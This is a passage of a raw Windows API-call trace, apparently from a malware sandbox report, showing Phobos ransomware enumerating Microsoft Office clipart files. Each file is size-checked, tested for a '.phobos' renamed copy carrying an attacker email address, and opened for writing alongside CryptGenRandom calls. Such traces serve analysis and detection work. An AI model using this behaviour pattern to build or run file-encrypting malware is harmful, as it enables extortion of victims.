0xffffffff [0149.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.415] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1472) returned 1 [0149.415] CloseHandle (hObject=0x580) returned 1 [0149.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0149.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.416] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.416] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5260) returned 1 [0149.416] CloseHandle (hObject=0x580) returned 1 [0149.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0149.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.417] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.417] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=896) returned 1 [0149.417] CloseHandle (hObject=0x580) returned 1 [0149.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0149.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.418] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.419] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=752) returned 1 [0149.419] CloseHandle (hObject=0x580) returned 1 [0149.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0149.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.420] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.420] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11152) returned 1 [0149.420] CloseHandle (hObject=0x580) returned 1 [0149.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0149.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.421] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.421] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9010) returned 1 [0149.421] CloseHandle (hObject=0x580) returned 1 [0149.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0149.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.422] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.422] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13968) returned 1 [0149.422] CloseHandle (hObject=0x580) returned 1 [0149.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0149.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.423] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.424] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=42704) returned 1 [0149.424] CloseHandle (hObject=0x580) returned 1 [0149.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0149.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.424] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.425] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15164) returned 1 [0149.425] CloseHandle (hObject=0x580) returned 1 [0149.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0149.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.425] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.426] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4634) returned 1 [0149.426] CloseHandle (hObject=0x580) returned 1 [0149.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0149.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.426] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.427] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2412) returned 1 [0149.427] CloseHandle (hObject=0x580) returned 1 [0149.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0149.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.427] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.428] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4984) returned 1 [0149.428] CloseHandle (hObject=0x580) returned 1 [0149.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0149.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.428] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.429] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3964) returned 1 [0149.429] CloseHandle (hObject=0x580) returned 1 [0149.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0149.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.429] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.430] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1160) returned 1 [0149.430] CloseHandle (hObject=0x580) returned 1 [0149.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0149.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.431] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.431] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2332) returned 1 [0149.431] CloseHandle (hObject=0x580) returned 1 [0149.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0149.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.432] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.433] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10316) returned 1 [0149.433] CloseHandle (hObject=0x580) returned 1 [0149.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0149.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.617] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 